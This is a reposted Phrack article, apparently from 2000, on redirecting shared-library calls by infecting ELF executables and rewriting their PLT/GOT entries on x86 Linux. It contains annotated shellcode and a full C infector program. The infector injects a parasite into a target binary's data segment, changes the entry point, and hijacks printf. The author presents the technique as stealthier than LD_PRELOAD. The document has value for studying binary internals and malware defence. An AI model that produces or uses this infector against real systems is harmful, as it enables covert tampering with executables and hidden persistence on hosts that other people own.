当前位置:   article > 正文

SHARED LIBRARY CALL REDIRECTION VIA ELF PLT IN...

SHARED LIBRARY CALL REDIRECTION VIA ELF PLT IN...
  1. P H R A C K M A G A Z I N E -
  2. Volume 0xa Issue 0x38
  3. 05.01.2000
  4. 0x07[0x10]
  5. |----------- SHARED LIBRARY CALL REDIRECTION VIA ELF PLT INFECTION -----------|
  6. |-----------------------------------------------------------------------------|
  7. |--------------------- Silvio Cesare <silvio@big.net.au> ---------------------|
  8. ----| INTRODUCTION
  9. This article describes a method of shared library call redirection using ELF
  10. infection that redirects the Procedure Linkage Table (PLT) of an executable
  11. allowing redirection to be resident outside of the infected executable. This
  12. has the advantage over the LD_PRELOAD redirection technique in that no
  13. environment variables are modified, thus remaining more hidden than previous
  14. techniques. An implementation is provided for x86/Linux. For those interested
  15. please visit the following URLs:
  16. http://virus.beergrave.net (The Unix Virus Mailing List)
  17. http://www.big.net.au/~silvio (My page)
  18. ----| THE PROCEDURE LINKAGE TABLE (PLT)
  19. From the ELF specifications... (not necessary to read but gives more detail
  20. than the follow-up text)
  21. " Procedure Linkage Table
  22. Much as the global offset table redirects position-independent address
  23. calculations to absolute locations, the procedure linkage table
  24. redirects position-independent function calls to absolute locations.
  25. The link editor cannot resolve execution transfers (such as function
  26. calls) from one executable or shared object to another. Consequently,
  27. the link editor arranges to have the program transfer control to
  28. entries in the procedure linkage table. On the SYSTEM V architecture,
  29. procedure linkage tables reside in shared text, but they use addresses
  30. in the private global offset table. The dynamic linker determines the
  31. destinations' absolute addresses and modifies the global offset
  32. table's memory image accordingly. The dynamic linker thus can redirect
  33. the entries without compromising the position-independence and
  34. sharability of the program's text. Executable files and shared object
  35. files have separate procedure linkage tables.
  36. + Figure 2-12: Absolute Procedure Linkage Table {*}
  37. .PLT0:pushl got_plus_4
  38. jmp *got_plus_8
  39. nop; nop
  40. nop; nop
  41. .PLT1:jmp *name1_in_GOT
  42. pushl $offset
  43. jmp .PLT0@PC
  44. .PLT2:jmp *name2_in_GOT
  45. pushl $offset
  46. jmp .PLT0@PC
  47. ...
  48. + Figure 2-13: Position-Independent Procedure Linkage Table
  49. .PLT0:pushl 4(%ebx)
  50. jmp *8(%ebx)
  51. nop; nop
  52. nop; nop
  53. .PLT1:jmp *name1@GOT(%ebx)
  54. pushl $offset
  55. jmp .PLT0@PC
  56. .PLT2:jmp *name2@GOT(%ebx)
  57. pushl $offset
  58. jmp .PLT0@PC
  59. ...
  60. NOTE: As the figures show, the procedure linkage table instructions use
  61. different operand addressing modes for absolute code and for position-
  62. independent code. Nonetheless, their interfaces to the dynamic linker are
  63. the same.
  64. Following the steps below, the dynamic linker and the program ``cooperate''
  65. to resolve symbolic references through the procedure linkage table and the
  66. global offset table.
  67. 1. When first creating the memory image of the program, the dynamic
  68. linker sets the second and the third entries in the global offset
  69. table to special values. Steps below explain more about these
  70. values.
  71. 2. If the procedure linkage table is position-independent, the address
  72. of the global offset table must reside in %ebx. Each shared object
  73. file in the process image has its own procedure linkage table, and
  74. control transfers to a procedure linkage table entry only from
  75. within the same object file. Consequently, the calling function is
  76. responsible for setting the global offset table base register before
  77. calling the procedure linkage table entry.
  78. 3. For illustration, assume the program calls name1, which transfers
  79. control to the label .PLT1.
  80. 4. The first instruction jumps to the address in the global offset
  81. table entry for name1. Initially, the global offset table holds the
  82. address of the following pushl instruction, not the real address of
  83. name1.
  84. 5. Consequently, the program pushes a relocation offset (offset) on
  85. the stack. The relocation offset is a 32-bit, non-negative byte
  86. offset into the relocation table. The designated relocation entry
  87. will have type R_386_JMP_SLOT, and its offset will specify the
  88. global offset table entry used in the previous jmp instruction. The
  89. relocation entry also contains a symbol table index, thus telling
  90. the dynamic linker what symbol is being referenced, name1 in this
  91. case.
  92. 6. After pushing the relocation offset, the program then jumps to
  93. .PLT0, the first entry in the procedure linkage table. The pushl
  94. instruction places the value of the second global offset table
  95. entry (got_plus_4 or 4(%ebx)) on the stack, thus giving the dynamic
  96. linker one word of identifying information. The program then jumps
  97. to the address in the third global offset table entry (got_plus_8
  98. or 8(%ebx)), which transfers control to the dynamic linker.
  99. 7. When the dynamic linker receives control, it unwinds the stack,
  100. looks at the designated relocation entry, finds the symbol's value,
  101. stores the ``real'' address for name1 in its global offset table
  102. entry, and transfers control to the desired destination.
  103. 8. Subsequent executions of the procedure linkage table entry will
  104. transfer directly to name1, without calling the dynamic linker a
  105. second time. That is, the jmp instruction at .PLT1 will transfer to
  106. name1, instead of ``falling through'' to the pushl instruction.
  107. The LD_BIND_NOW environment variable can change dynamic linking
  108. behavior. If its value is non-null, the dynamic linker evaluates
  109. procedure linkage table entries before transferring control to the
  110. program. That is, the dynamic linker processes relocation entries of
  111. type R_386_JMP_SLOT during process initialization. Otherwise, the
  112. dynamic linker evaluates procedure linkage table entries lazily,
  113. delaying symbol resolution and relocation until the first execution of
  114. a table entry.
  115. NOTE: Lazy binding generally improves overall application performance,
  116. because unused symbols do not incur the dynamic linking overhead.
  117. Nevertheless, two situations make lazy binding undesirable for some
  118. applications. First, the initial reference to a shared object function
  119. takes longer than subsequent calls, because the dynamic linker
  120. intercepts the call to resolve the symbol. Some applications cannot
  121. tolerate this unpredictability. Second, if an error occurs and the
  122. dynamic linker cannot resolve the symbol, the dynamic linker will
  123. terminate the program. Under lazy binding, this might occur at
  124. arbitrary times. Once again, some applications cannot tolerate this
  125. unpredictability. By turning off lazy binding, the dynamic linker
  126. forces the failure to occur during process initialization, before the
  127. application receives control.
  128. "
  129. To explain in more detail...
  130. Shared library calls are treated special in executable objects because they
  131. cannot be linked to the executable at compile time. This is due to the fact
  132. that shared libraries are not available to the executable until runtime.
  133. The PLT was designed to handle such cases like these. The PLT holds the code
  134. responsible for calling the dynamic linker to locate these desired routines.
  135. Instead of calling the real shared library routine in the executable, the
  136. executable calls an entry in the PLT. It is then up to the PLT to resolve the
  137. symbol it represents and do the right thing.
  138. From the ELF specifications...
  139. " .PLT1:jmp *name1_in_GOT
  140. pushl $offset
  141. jmp .PLT0@PC
  142. "
  143. This is the important info. This is the routine called instead of the library
  144. call. name1_in_GOT originally starts off pointing to the following pushl
  145. instruction. The offset represents a relocation (see the ELF specifications)
  146. offset which has a reference to the symbol the library call represents. This
  147. is used for the final jmp which jumps to the dynamic linker. The dynamic
  148. linker then changes name1_in_GOT to point directly to the routine thus avoiding
  149. dynamic linking a second time.
  150. This summarizes the importance of the PLT in library lookups. It can be noted
  151. that we can change name_in_GOT to point to our own code, thus replacing
  152. library calls. If we save the state of the GOT before replacing, we can call
  153. the old library routine and thus redirect any library call.
  154. ----| ELF INFECTION
  155. To inject a redirected library call into an executable requires new code to
  156. be added to an executable. The actual procedure for ELF infection will not
  157. be described here as it has been covered very well in previous articles
  158. (http://www.big.net.au/~silvio - Unix Viruses/Unix ELF Parasites and Virus).
  159. For completeness Data Infection is used for injection, and it is slightly
  160. buggy not being strip safe.
  161. ----| PLT REDIRECTION
  162. The algorithm at the entry point code is as follows...
  163. * mark the text segment writeable
  164. * save the PLT(GOT) entry
  165. * replace the PLT(GOT) entry with the address of the new lib call
  166. The algorithm in the new library call is as follows...
  167. * do the payload of the new lib call
  168. * restore the original PLT(GOT) entry
  169. * call the lib call
  170. * save the PLT(GOT) entry again (if its changed)
  171. * replace the PLT(GOT) entry with the address of the new lib call
  172. To explain more how PLT redirection is done, the simplest method is to describe
  173. the sample code supplied. This code is injected into an executable and
  174. becomes the new entry point of the program. The library call that is
  175. redirected is printf, the new code prints a message before the printf
  176. supplied string.
  177. --
  178. ok, save the registers and so forth...
  179. "\x60" /* pusha */
  180. mark the text segment as rwx. We do this so we can modify the PLT which is in
  181. the text segment and is normally not writeable.
  182. "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
  183. "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
  184. "\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */
  185. "\xba\x07\x00\x00\x00" /* movl $7,%edx */
  186. "\xcd\x80" /* int $0x80 */
  187. we save the old library call's PLT(GOT) reference and replace it with the
  188. address of the new library call which immediately follows the entry point code.
  189. "\xa1\x00\x00\x00\x00" /* movl plt,%eax */
  190. "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
  191. "\xc7\x05\x00\x90\x04" /* movl $newcall,plt */
  192. "\x08\x00\x00\x00\x00"
  193. restore the registers and so forth...
  194. "\x61" /* popa */
  195. jump back to the executables original entry point.
  196. "\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */
  197. "\xff\xe5" /* jmp *%ebp */
  198. the new library call (printf).
  199. /* newcall: */
  200. get the address of the string to write .
  201. "\xeb\x38" /* jmp msg_jmp */
  202. /* msg_call */
  203. "\x59" /* popl %ecx */
  204. and write that string using the Linux system call
  205. "\xb8\x04\x00\x00\x00" /* movl $4,%eax */
  206. "\xbb\x01\x00\x00\x00" /* movl $1,%ebx */
  207. "\xba\x0e\x00\x00\x00" /* movl $14,%edx */
  208. "\xcd\x80" /* int $0x80 */
  209. restore the old library call into the PLT(GOT) so we can call it
  210. "\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */
  211. "\xa3\x00\x00\x00\x00" /* movl %eax,plt */
  212. get the original printf argument
  213. "\xff\x75\xfc" /* pushl -4(%ebp) */
  214. call the original library call
  215. "\xff\xd0" /* call *%eax */
  216. save the original library call from the PLT(GOT). Remember this might change
  217. after a call to the library, so we save each time. This actually only changes
  218. after the first call, but we don't bother too much.
  219. "\xa1\x00\x00\x00\x00" /* movl plt,%eax */
  220. "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
  221. make the PLT(GOT) point back to the new library call
  222. "\xc7\x05\x00\x00\x00" /* movl $newcall,plt */
  223. "\x08\x00\x00\x00\x00"
  224. clean up the arguments
  225. "\x58" /* popl %eax */
  226. restore the registers and so forth...
  227. "\x61" /* popa */
  228. and return from the function
  229. "\xc3" /* ret */
  230. get the address of the string to write .
  231. /* msg_jmp */
  232. "\xe8\xc4\xff\xff\xff" /* call msg_call */
  233. the string
  234. "INFECTED Host "
  235. ----| FUTURE DIRECTIONS
  236. It is possible to infect a shared library directly, and this is sometimes more
  237. desirable because the redirection stays resident for all executables. Also
  238. possible, is an even more stealth version of the PLT redirection described
  239. by modifying the process image directly thus the host executable stays
  240. unmodified. This however has the disadvantage that the redirection stays
  241. active only for the life of a single process.
  242. ----| CONCLUSION
  243. This article has described a method of redirecting shared library calls in
  244. an executable by directly modifying the PLT of the executable in question
  245. using ELF infection techniques. It is more stealthy than previous techniques
  246. using LD_PRELOAD and has large possibilities.
  247. ----| CODE
  248. <++> p56/PLT-INFECTION/PLT-infector.c !fda3c047
  249. #include <stdio.h>
  250. #include <stdlib.h>
  251. #include <sys/stat.h>
  252. #include <sys/types.h>
  253. #include <string.h>
  254. #include <fcntl.h>
  255. #include <unistd.h>
  256. #include <elf.h>
  257. #define PAGE_SIZE 4096
  258. static char v[] =
  259. "\x60" /* pusha */
  260. "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */
  261. "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */
  262. "\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */
  263. "\xba\x07\x00\x00\x00" /* movl $7,%edx */
  264. "\xcd\x80" /* int $0x80 */
  265. "\xa1\x00\x00\x00\x00" /* movl plt,%eax */
  266. "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
  267. "\xc7\x05\x00\x90\x04" /* movl $newcall,plt */
  268. "\x08\x00\x00\x00\x00"
  269. "\x61" /* popa */
  270. "\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */
  271. "\xff\xe5" /* jmp *%ebp */
  272. /* newcall: */
  273. "\xeb\x37" /* jmp msg_jmp */
  274. /* msg_call */
  275. "\x59" /* popl %ecx */
  276. "\xb8\x04\x00\x00\x00" /* movl $4,%eax */
  277. "\xbb\x01\x00\x00\x00" /* movl $1,%ebx */
  278. "\xba\x0e\x00\x00\x00" /* movl $14,%edx */
  279. "\xcd\x80" /* int $0x80 */
  280. "\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */
  281. "\xa3\x00\x00\x00\x00" /* movl %eax,plt */
  282. "\xff\x75\xfc" /* pushl -4(%ebp) */
  283. "\xff\xd0" /* call *%eax */
  284. "\xa1\x00\x00\x00\x00" /* movl plt,%eax */
  285. "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */
  286. "\xc7\x05\x00\x00\x00" /* movl $newcall,plt */
  287. "\x08\x00\x00\x00\x00"
  288. "\x58" /* popl %eax */
  289. "\xc3" /* ret */
  290. /* msg_jmp */
  291. "\xe8\xc4\xff\xff\xff" /* call msg_call */
  292. "INFECTED Host "
  293. ;
  294. char *get_virus(void)
  295. {
  296. return v;
  297. }
  298. int init_virus(
  299. int plt,
  300. int offset,
  301. int text_start, int data_start,
  302. int data_memsz,
  303. int entry
  304. )
  305. {
  306. int code_start = data_start + data_memsz;
  307. int oldcall = code_start + 72;
  308. int newcall = code_start + 51;
  309. *(int *)&v[7] = text_start;
  310. *(int *)&v[24] = plt;
  311. *(int *)&v[29] = oldcall;
  312. *(int *)&v[35] = plt;
  313. *(int *)&v[39] = newcall;
  314. *(int *)&v[45] = entry;
  315. *(int *)&v[77] = plt;
  316. *(int *)&v[87] = plt;
  317. *(int *)&v[92] = oldcall;
  318. *(int *)&v[98] = plt;
  319. *(int *)&v[102] = newcall;
  320. return 0;
  321. }
  322. int copy_partial(int fd, int od, unsigned int len)
  323. {
  324. char idata[PAGE_SIZE];
  325. unsigned int n = 0;
  326. int r;
  327. while (n + PAGE_SIZE < len) {
  328. if (read(fd, idata, PAGE_SIZE) != PAGE_SIZE) {;
  329. perror("read");
  330. return -1;
  331. }
  332. if (write(od, idata, PAGE_SIZE) < 0) {
  333. perror("write");
  334. return -1;
  335. }
  336. n += PAGE_SIZE;
  337. }
  338. r = read(fd, idata, len - n);
  339. if (r < 0) {
  340. perror("read");
  341. return -1;
  342. }
  343. if (write(od, idata, r) < 0) {
  344. perror("write");
  345. return -1;
  346. }
  347. return 0;
  348. }
  349. void do_elf_checks(Elf32_Ehdr *ehdr)
  350. {
  351. if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
  352. fprintf(stderr, "File not ELF\n");
  353. exit(1);
  354. }
  355. if (ehdr->e_type != ET_EXEC) {
  356. fprintf(stderr, "ELF type not ET_EXEC or ET_DYN\n");
  357. exit(1);
  358. }
  359. if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
  360. fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");
  361. exit(1);
  362. }
  363. if (ehdr->e_version != EV_CURRENT) {
  364. fprintf(stderr, "ELF version not current\n");
  365. exit(1);
  366. }
  367. }
  368. int do_dyn_symtab(
  369. int fd,
  370. Elf32_Shdr *shdr, Elf32_Shdr *shdrp,
  371. const char *sh_function
  372. )
  373. {
  374. Elf32_Shdr *strtabhdr = &shdr[shdrp->sh_link];
  375. char *string;
  376. Elf32_Sym *sym, *symp;
  377. int i;
  378. string = (char *)malloc(strtabhdr->sh_size);
  379. if (string == NULL) {
  380. perror("malloc");
  381. exit(1);
  382. }
  383. if (lseek(
  384. fd, strtabhdr->sh_offset, SEEK_SET) != strtabhdr->sh_offset
  385. ) {
  386. perror("lseek");
  387. exit(1);
  388. }
  389. if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
  390. perror("read");
  391. exit(1);
  392. }
  393. sym = (Elf32_Sym *)malloc(shdrp->sh_size);
  394. if (sym == NULL) {
  395. perror("malloc");
  396. exit(1);
  397. }
  398. if (lseek(fd, shdrp->sh_offset, SEEK_SET) != shdrp->sh_offset) {
  399. perror("lseek");
  400. exit(1);
  401. }
  402. if (read(fd, sym, shdrp->sh_size) != shdrp->sh_size) {
  403. perror("read");
  404. exit(1);
  405. }
  406. symp = sym;
  407. for (i = 0; i < shdrp->sh_size; i += sizeof(Elf32_Sym)) {
  408. if (!strcmp(&string[symp->st_name], sh_function)) {
  409. free(string);
  410. return symp - sym;
  411. }
  412. ++symp;
  413. }
  414. free(string);
  415. return -1;
  416. }
  417. int get_sym_number(
  418. int fd, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function
  419. )
  420. {
  421. Elf32_Shdr *shdrp = shdr;
  422. int i;
  423. for (i = 0; i < ehdr->e_shnum; i++) {
  424. if (shdrp->sh_type == SHT_DYNSYM) {
  425. return do_dyn_symtab(fd, shdr, shdrp, sh_function);
  426. }
  427. ++shdrp;
  428. }
  429. }
  430. void do_rel(int *plt, int *offset, int fd, Elf32_Shdr *shdr, int sym)
  431. {
  432. Elf32_Rel *rel, *relp;
  433. int i;
  434. rel = (Elf32_Rel *)malloc(shdr->sh_size);
  435. if (rel == NULL) {
  436. perror("malloc");
  437. exit(1);
  438. }
  439. if (lseek(fd, shdr->sh_offset, SEEK_SET) != shdr->sh_offset) {
  440. perror("lseek");
  441. exit(1);
  442. }
  443. if (read(fd, rel, shdr->sh_size) != shdr->sh_size) {
  444. perror("read");
  445. exit(1);
  446. }
  447. relp = rel;
  448. for (i = 0; i < shdr->sh_size; i += sizeof(Elf32_Rel)) {
  449. if (ELF32_R_SYM(relp->r_info) == sym) {
  450. *plt = relp->r_offset;
  451. *offset = relp - rel;
  452. printf("offset %i\n", *offset);
  453. return;
  454. }
  455. ++relp;
  456. }
  457. *plt = -1;
  458. *offset = -1;
  459. }
  460. void find_rel(
  461. int *plt,
  462. int *offset,
  463. int fd,
  464. const char *string,
  465. Elf32_Ehdr *ehdr, Elf32_Shdr *shdr,
  466. const char *sh_function
  467. )
  468. {
  469. Elf32_Shdr *shdrp = shdr;
  470. int sym;
  471. int i;
  472. sym = get_sym_number(fd, ehdr, shdr, sh_function);
  473. if (sym < 0) {
  474. *plt = -1;
  475. *offset = -1;
  476. return;
  477. }
  478. for (i = 0; i < ehdr->e_shnum; i++) {
  479. if (!strcmp(&string[shdrp->sh_name], ".rel.plt")) {
  480. do_rel(plt, offset, fd, shdrp, sym);
  481. return;
  482. }
  483. ++shdrp;
  484. }
  485. }
  486. void infect_elf(
  487. char *host,
  488. char *(*get_virus)(void),
  489. int (*init_virus)(int, int, int, int, int, int),
  490. int len,
  491. const char *sh_function
  492. )
  493. {
  494. Elf32_Ehdr ehdr;
  495. Elf32_Shdr *shdr, *strtabhdr;
  496. Elf32_Phdr *phdr;
  497. char *pdata, *sdata;
  498. int move = 0;
  499. int od, fd;
  500. int evaddr, text_start = -1, plt;
  501. int sym_offset;
  502. int bss_len, addlen;
  503. int offset, pos, oshoff;
  504. int plen, slen;
  505. int i;
  506. char null = 0;
  507. struct stat stat;
  508. char *string;
  509. char tempname[8] = "vXXXXXX";
  510. fd = open(host, O_RDONLY);
  511. if (fd < 0) {
  512. perror("open");
  513. exit(1);
  514. }
  515. /* read the ehdr */
  516. if (read(fd, &ehdr, sizeof(ehdr)) < 0) {
  517. perror("read");
  518. exit(1);
  519. }
  520. do_elf_checks(&ehdr);
  521. /* modify the virus so that it knows the correct reentry point */
  522. printf("host entry point: %x\n", ehdr.e_entry);
  523. /* allocate memory for phdr tables */
  524. pdata = (char *)malloc(plen = sizeof(*phdr)*ehdr.e_phnum);
  525. if (pdata == NULL) {
  526. perror("malloc");
  527. exit(1);
  528. }
  529. /* read the phdr's */
  530. if (lseek(fd, ehdr.e_phoff, SEEK_SET) < 0) {
  531. perror("lseek");
  532. exit(1);
  533. }
  534. if (read(fd, pdata, plen) != plen) {
  535. perror("read");
  536. exit(1);
  537. }
  538. phdr = (Elf32_Phdr *)pdata;
  539. /* allocated memory if required to accomodate the shdr tables */
  540. sdata = (char *)malloc(slen = sizeof(*shdr)*ehdr.e_shnum);
  541. if (sdata == NULL) {
  542. perror("malloc");
  543. exit(1);
  544. }
  545. /* read the shdr's */
  546. if (lseek(fd, oshoff = ehdr.e_shoff, SEEK_SET) < 0) {
  547. perror("lseek");
  548. exit(1);
  549. }
  550. if (read(fd, sdata, slen) != slen) {
  551. perror("read");
  552. exit(1);
  553. }
  554. strtabhdr = &((Elf32_Shdr *)sdata)[ehdr.e_shstrndx];
  555. string = (char *)malloc(strtabhdr->sh_size);
  556. if (string == NULL) {
  557. perror("malloc");
  558. exit(1);
  559. }
  560. if (lseek(
  561. fd, strtabhdr->sh_offset, SEEK_SET
  562. ) != strtabhdr->sh_offset) {
  563. perror("lseek");
  564. exit(1);
  565. }
  566. if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
  567. perror("read");
  568. exit(1);
  569. }
  570. find_rel(
  571. &plt, &sym_offset,
  572. fd,
  573. string,
  574. &ehdr,
  575. (Elf32_Shdr *)sdata,
  576. sh_function
  577. );
  578. if (plt < 0) {
  579. printf("No dynamic function: %s\n", sh_function);
  580. exit(1);
  581. }
  582. for (i = 0; i < ehdr.e_phnum; i++) {
  583. if (phdr->p_type == PT_LOAD) {
  584. if (phdr->p_offset == 0) {
  585. text_start = phdr->p_vaddr;
  586. } else {
  587. if (text_start < 0) {
  588. fprintf(stderr, "No text segment??\n");
  589. exit(1);
  590. }
  591. /* is this the data segment ? */
  592. #ifdef DEBUG
  593. printf("Found PT_LOAD segment...\n");
  594. printf(
  595. "p_vaddr: 0x%x\n"
  596. "p_offset: %i\n"
  597. "p_filesz: %i\n"
  598. "p_memsz: %i\n"
  599. "\n",
  600. phdr->p_vaddr,
  601. phdr->p_offset,
  602. phdr->p_filesz,
  603. phdr->p_memsz
  604. );
  605. #endif
  606. offset = phdr->p_offset + phdr->p_filesz;
  607. bss_len = phdr->p_memsz - phdr->p_filesz;
  608. if (init_virus != NULL)
  609. init_virus(
  610. plt, sym_offset,
  611. text_start, phdr->p_vaddr,
  612. phdr->p_memsz,
  613. ehdr.e_entry
  614. );
  615. ehdr.e_entry = phdr->p_vaddr + phdr->p_memsz;
  616. break;
  617. }
  618. }
  619. ++phdr;
  620. }
  621. /* update the shdr's to reflect the insertion of the virus */
  622. addlen = len + bss_len;
  623. shdr = (Elf32_Shdr *)sdata;
  624. for (i = 0; i < ehdr.e_shnum; i++) {
  625. if (shdr->sh_offset >= offset) {
  626. shdr->sh_offset += addlen;
  627. }
  628. ++shdr;
  629. }
  630. /*
  631. update the phdr's to reflect the extention of the data segment (to
  632. allow virus insertion)
  633. */
  634. phdr = (Elf32_Phdr *)pdata;
  635. for (i = 0; i < ehdr.e_phnum; i++) {
  636. if (phdr->p_type != PT_DYNAMIC) {
  637. if (move) {
  638. phdr->p_offset += addlen;
  639. } else if (phdr->p_type == PT_LOAD && phdr->p_offset) {
  640. /* is this the data segment ? */
  641. phdr->p_filesz += addlen;
  642. phdr->p_memsz += addlen;
  643. #ifdef DEBUG
  644. printf("phdr->filesz: %i\n", phdr->p_filesz);
  645. printf("phdr->memsz: %i\n", phdr->p_memsz);
  646. #endif
  647. move = 1;
  648. }
  649. }
  650. ++phdr;
  651. }
  652. /* update ehdr to reflect new offsets */
  653. if (ehdr.e_shoff >= offset) ehdr.e_shoff += addlen;
  654. if (ehdr.e_phoff >= offset) ehdr.e_phoff += addlen;
  655. if (fstat(fd, &stat) < 0) {
  656. perror("fstat");
  657. exit(1);
  658. }
  659. /* write the new virus */
  660. if (mktemp(tempname) == NULL) {
  661. perror("mktemp");
  662. exit(1);
  663. }
  664. od = open(tempname, O_WRONLY | O_CREAT | O_EXCL, stat.st_mode);
  665. if (od < 0) {
  666. perror("open");
  667. exit(1);
  668. }
  669. if (lseek(fd, 0, SEEK_SET) < 0) {
  670. perror("lseek");
  671. goto cleanup;
  672. }
  673. if (write(od, &ehdr, sizeof(ehdr)) < 0) {
  674. perror("write");
  675. goto cleanup;
  676. }
  677. if (write(od, pdata, plen) < 0) {
  678. perror("write");
  679. goto cleanup;
  680. }
  681. free(pdata);
  682. if (lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) < 0) {
  683. perror("lseek");
  684. goto cleanup;
  685. }
  686. if (copy_partial(fd, od, offset - pos) < 0) goto cleanup;
  687. for (i = 0; i < bss_len; i++) write(od, &null, 1);
  688. if (write(od, get_virus(), len) != len) {
  689. perror("write");
  690. goto cleanup;
  691. }
  692. if (copy_partial(fd, od, oshoff - offset) < 0) goto cleanup;
  693. if (write(od, sdata, slen) < 0) {
  694. perror("write");
  695. goto cleanup;
  696. }
  697. free(sdata);
  698. if (lseek(fd, pos = oshoff + slen, SEEK_SET) < 0) {
  699. perror("lseek");
  700. goto cleanup;
  701. }
  702. if (copy_partial(fd, od, stat.st_size - pos) < 0) goto cleanup;
  703. if (rename(tempname, host) < 0) {
  704. perror("rename");
  705. exit(1);
  706. }
  707. if (fchown(od, stat.st_uid, stat.st_gid) < 0) {
  708. perror("chown");
  709. exit(1);
  710. }
  711. free(string);
  712. return;
  713. cleanup:
  714. unlink(tempname);
  715. exit(1);
  716. }
  717. int main(int argc, char *argv[])
  718. {
  719. if (argc != 2) {
  720. fprintf(stderr, "usage: infect-data-segment filename\n");
  721. exit(1);
  722. }
  723. infect_elf(
  724. argv[1],
  725. get_virus, init_virus,
  726. sizeof(v),
  727. "printf"
  728. );
  729. exit(0);
  730. }
  731. <-->
  732. |EOF|-------------------------------------------------------------------------|

转载于:https://my.oschina.net/zhuzihasablog/blog/129436

本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/煮酒与君饮/article/detail/849240
推荐阅读
相关标签
  

闽ICP备14008679号